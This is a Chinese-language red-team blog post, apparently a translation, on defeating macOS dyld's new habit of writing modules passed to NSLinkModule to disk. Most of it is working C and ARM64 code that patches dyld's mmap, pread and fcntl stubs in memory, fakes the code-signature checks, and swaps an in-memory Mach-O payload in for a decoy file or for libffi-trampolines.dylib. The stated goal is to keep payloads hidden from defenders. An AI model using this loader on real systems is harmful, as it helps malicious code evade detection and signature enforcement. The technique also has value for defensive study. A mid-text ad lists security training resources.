之前我們一直在使用由dyld及其NS Create Object File Image From Memory / NS Link Module API方法所提供的Mach-O捆綁包的內(nèi)存加載方式。雖然這些方法我們今天仍然還在使用，但是這個工具較以往有一個很大的區(qū)別......現(xiàn)在很多模塊都被持久化到了硬盤上。
@roguesys 在 2022 年 2 月發(fā)布公告稱，dyld 的代碼已經(jīng)被更新，傳遞給 NSLinkModule 的任何模塊都將會被寫入到一個臨時的位置中。
作為一個紅隊隊員，這對于我們的滲透工作并沒有好處。畢竟，NSLinkModule一個非常有用的api函數(shù)，這個函數(shù)可以使得我們的有效載荷不被藍隊輕易的發(fā)現(xiàn)。
因此，在這篇文章中，我們來仔細看看dyld的變化，并看看我們能做些什么來恢復這一功能，讓我們的工具在內(nèi)存中多保存一段時間，防止被藍隊過早的發(fā)現(xiàn)。
NSLinkModule有何與眾不同
由于dyld是開源的，我們可以深入研究一下經(jīng)常使用的NSLinkModule方法的工作原理。
該函數(shù)的簽名為：
NSModule APIs::NSLinkModule(NSObjectFileImage ofi, const char* moduleName, uint32_t options) { ... }該函數(shù)的第一個參數(shù)是ofi，它是用NSCreateObjectFileImageFromMemory創(chuàng)建的，它指向了存放Mach-O包的內(nèi)存。然后我們還有moduleName參數(shù)和options參數(shù)，前者只是用于記錄語句，后者一般是被忽略不用的。
通過查看代碼發(fā)現(xiàn)，最新版本的NSLinkModule，會將osi所指向的內(nèi)存寫入磁盤。
if ( ofi->memSource != nullptr ) {
...
char tempFileName[PATH_MAX];
const char* tmpDir = this->libSystemHelpers->getenv("TMPDIR");
if ( (tmpDir != nullptr) && (strlen(tmpDir) > 2) ) {
strlcpy(tempFileName, tmpDir, PATH_MAX);
if ( tmpDir[strlen(tmpDir) - 1] != '/' )
strlcat(tempFileName, "/", PATH_MAX);
}
else
strlcpy(tempFileName, "/tmp/", PATH_MAX);
strlcat(tempFileName, "NSCreateObjectFileImageFromMemory-XXXXXXXX", PATH_MAX);
int fd = this->libSystemHelpers->mkstemp(tempFileName);
if ( fd != -1 ) {
ssize_t writtenSize = ::pwrite(fd, ofi->memSource, ofi->memLength, 0);
}
...
}通過分析可以發(fā)現(xiàn)，代碼并不是真正的發(fā)生了 "新 "的變化。這段代碼一直存在于dyld3中，只不過是現(xiàn)在macOS也決定使用這段代碼路徑。所以我們知道內(nèi)存會被寫入磁盤，并且路徑會被傳遞給dlopen_from。
...
ofi->handle = dlopen_from(ofi->path, openMode, callerAddress);
...
因此，從本質(zhì)上講，這也就使得NSLinkModule成為了dlopen的一個封裝器。
① 網(wǎng)安學習成長路徑思維導圖
② 60+網(wǎng)安經(jīng)典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網(wǎng)安攻防實戰(zhàn)技術電子書
⑤ 最權(quán)威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰(zhàn)技巧手冊
⑦ 最新網(wǎng)安大廠面試題合集（含答案）
⑧ APP客戶端安全檢測指南（安卓+IOS）
那我們能否恢復dyld之前的內(nèi)存加載特性呢？
我們知道磁盤 I/O 是被用來持久化和讀取我們的代碼的......那么，如果我們在調(diào)用之前攔截它們，會發(fā)生什么呢？
使用dyld進行hook
為了攔截 I/O 調(diào)用，我們首先需要了解如何對dyld進行hook。
我們研究看看dyld是如何處理mmap調(diào)用的。啟動 Hopper 并加載 /usr/lib/dyld， 顯示mmap 是由 dyld 使用 svc 調(diào)用的。
知道了這一點，如果我們找到內(nèi)存中存放這段代碼的位置，我們就應該能夠覆蓋服務調(diào)用并將其重定向到我們控制的地方。但我們該用什么來覆蓋它呢？用下面的這段代碼就可以。
ldr x8, _value
br x8
_value: .ascii "\x41\x42\x43\x44\x45\x46\x47\x48" ; Update to our br location
在我們進行操作之前，首先我們找到進程地址空間中dyld的基址。這是通過調(diào)用task_info完成的，我們可以傳入TASK_DYLD_INFO來檢索dyld的基址信息。
void *getDyldBase(void) {
struct task_dyld_info dyld_info;
mach_vm_address_t image_infos;
struct dyld_all_image_infos *infos;
mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
kern_return_t ret;
ret = task_info(mach_task_self_,
TASK_DYLD_INFO,
(task_info_t)&dyld_info,
&count);
if (ret != KERN_SUCCESS) {
return NULL;
}
image_infos = dyld_info.all_image_info_addr;
infos = (struct dyld_all_image_infos *)image_infos;
return infos->dyldImageLoadAddress;
}只要我們有了dyld的基址，我們就可以為mmap服務的調(diào)用查找簽名。
bool searchAndPatch(char *base, char *signature, int length, void *target) {
char *patchAddr = NULL;
kern_return_t kret;
for(int i=0; i < 0x100000; i++) {
if (base[i] == signature[0] && memcmp(base+i, signature, length) == 0) {
patchAddr = base + i;
break;
}
}
...當我們找到一個匹配的簽名時，我們可以在我們的ARM64的Stub中打補丁。由于我們要處理的是內(nèi)存的 "Read-Exec"頁，我們需要用以下方法來更新內(nèi)存保護。
kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_WRITE | VM_PROT_COPY);
if (kret != KERN_SUCCESS) {
return FALSE;
}
注意這里的VM_PROT, 這個是必須要設定的，因為該內(nèi)存頁在其最大內(nèi)存保護中沒有設置寫權(quán)限。
設置了寫權(quán)限后，我們可以用我們的補丁覆蓋內(nèi)存，然后將保護重新設定為Read-Exec。
// Copy our path
memcpy(patchAddr, patch, sizeof(patch));
// Set the br address for our hook call
*(void **)((char*)patchAddr + 16) = target;
// Return exec permission
kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_EXEC);
if (kret != KERN_SUCCESS) {
return FALSE;
}
現(xiàn)在我們需要思考一下，當我們在試圖修改可執(zhí)行的內(nèi)存頁時，在M1 macs上會發(fā)生什么。
由于macOS要確保每一頁可執(zhí)行內(nèi)存都有簽名，這也就意味著我們需要一個com.apple.security.cs.allow-unsigned-executable-memory的權(quán)限（com.apple.security.cs.disable-executable-page-protection也適用）來運行我們的代碼。
那么，既然如此，我們該如何處理我們的hook程序呢？
API模擬調(diào)用
有了所有組件的映射，我們現(xiàn)在就可以開始模擬API的調(diào)用。根據(jù)dyld的代碼，我們需要對mmap、pread、fcntl的內(nèi)容進行處理。
如果我們這樣做是正確的，我們可以在內(nèi)存指向空白Mach-O文件的情況下對NSLinkModule進行調(diào)用，而該文件又將會被寫入磁盤。然后當dyld正在從磁盤上讀入文件時，我們就可以用內(nèi)存中的副本動態(tài)地交換內(nèi)容。
首先研究mmap。我們首先檢查fd是否指向一個包含NSCreateObjectFileImageFromMemory的文件名，這是dyld寫入磁盤的臨時文件。
如果是這樣的話，我們就不需要從磁盤上映射內(nèi)存了，只要簡單地分配一個新的內(nèi)存區(qū)域，然后復制到我們構(gòu)造的Mach-O包上。
#define FILENAME_SEARCH "NSCreateObjectFileImageFromMemory-"
const void* hookedMmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset) {
char *alloc;
char filePath[PATH_MAX];
int newFlags;
memset(filePath, 0, sizeof(filePath));
// Check if the file is our "in-memory" file
if (fcntl(fd, F_GETPATH, filePath) != -1) {
if (strstr(filePath, FILENAME_SEARCH) > 0) {
newFlags = MAP_PRIVATE | MAP_ANONYMOUS;
if (addr != 0) {
newFlags |= MAP_FIXED;
}
alloc = mmap(addr, len, PROT_READ | PROT_WRITE, newFlags, 0, 0);
memcpy(alloc, memoryLoadedFile+offset, len);
vm_protect(mach_task_self(), (vm_address_t)alloc, len, false, prot);
return alloc;
}
}
// If for another file, we pass through
return mmap(addr, len, prot, flags, fd, offset);
}
接下來是pread參數(shù)，它會被dyld在加載時用來多次驗證Mach-O的UUID。
ssize_t hookedPread(int fd, void *buf, size_t nbyte, int offset) {
char filePath[PATH_MAX];
memset(filePath, 0, sizeof(filePath));
// Check if the file is our "in-memory" file
if (fcntl(fd, F_GETPATH, filePath) != -1) {
if (strstr(filePath, FILENAME_SEARCH) > 0) {
memcpy(buf, memoryLoadedFile+offset, nbyte);
return nbyte;
}
}
// If for another file, we pass through
return pread(fd, buf, nbyte, offset);
}最后我們處理fcntl。它會在很多地方被調(diào)用，可以在任何可能會失敗的mmap調(diào)用之前驗證編碼的要求。
由于我們已經(jīng)完成了hook，我們可以使dyld正常運行來繞過這些檢查。
int hookedFcntl(int fildes, int cmd, void* param) {
char filePath[PATH_MAX];
memset(filePath, 0, sizeof(filePath));
// Check if the file is our "in-memory" file
if (fcntl(fildes, F_GETPATH, filePath) != -1) {
if (strstr(filePath, FILENAME_SEARCH) > 0) {
if (cmd == F_ADDFILESIGS_RETURN) {
fsignatures_t *fsig = (fsignatures_t*)param;
// called to check that cert covers file.. so we'll make it cover everything ;)
fsig->fs_file_start = 0xFFFFFFFF;
return 0;
}
// Signature sanity check by dyld
if (cmd == F_CHECK_LV) {
// Just say everything is fine
return 0;
}
}
}
return fcntl(fildes, cmd, param);
}有了以上這些，然后我們可以把這一切組合起來。
int main(int argc, const char * argv[], const char * argv2[], const char * argv3[]) {
@autoreleasepool {
char *dyldBase;
int fd;
int size;
void (*function)(void);
NSObjectFileImage fileImage;
// Read in our dyld we want to memory load... obviously swap this in prod with memory, otherwise we've just recreated dlopen :/
size = readFile("/tmp/loadme", &memoryLoadedFile);
dyldBase = getDyldBase();
searchAndPatch(dyldBase, mmapSig, sizeof(mmapSig), hookedMmap);
searchAndPatch(dyldBase, preadSig, sizeof(preadSig), hookedPread);
searchAndPatch(dyldBase, fcntlSig, sizeof(fcntlSig), hookedFcntl);
// Set up blank content, same size as our Mach-O
char *fakeImage = (char *)malloc(size);
memset(fakeImage, 0x41, size);
// Small hack to get around NSCreateObjectFileImageFromMemory validating our fake image
fileImage = (NSObjectFileImage)malloc(1024);
*(void **)(((char*)fileImage+0x8)) = fakeImage;
*(void **)(((char*)fileImage+0x10)) = size;
void *module = NSLinkModule(fileImage, "test", NSLINKMODULE_OPTION_PRIVATE);
void *symbol = NSLookupSymbolInModule(module, "runme");
function = NSAddressOfSymbol(symbol);
function();
}
}當我們執(zhí)行時，可以看到在硬盤上就會創(chuàng)建我們的虛假文件。
但通過在運行時的交換內(nèi)容來看，我們發(fā)現(xiàn)我們的內(nèi)存模塊加載完全正常。
其他
所以，最后一個階段讓我感到很困惑......我們使用了NSLinkModule，它生成了一個臨時文件，并且用垃圾字符對它進行了填充。如果我們忽略這一點，而只是使用操作系統(tǒng)中的任意一個庫來調(diào)用dlopen呢？這樣應該就可以避免我們向磁盤中寫入任何文件。
事實證明，這個想法是正確的。比如：
void *a = dlopen("/usr/lib/libffi-trampolines.dylib", RTLD_NOW);
function = dlsym(a, "runme");
function();而不是只是搜索NSCreateObjectFileImageFromMemory，我們只是在搜索任何加載libffi-trampolines.dylib的引用，并通過我們的代碼進行了替換，我們得到了同樣的結(jié)果。
這里有一些注意事項。首先，我們需要確保庫比我們自己要加載的模塊大，否則當涉及到pread和mmap時，系統(tǒng)最終會截斷我們的Mach-O。
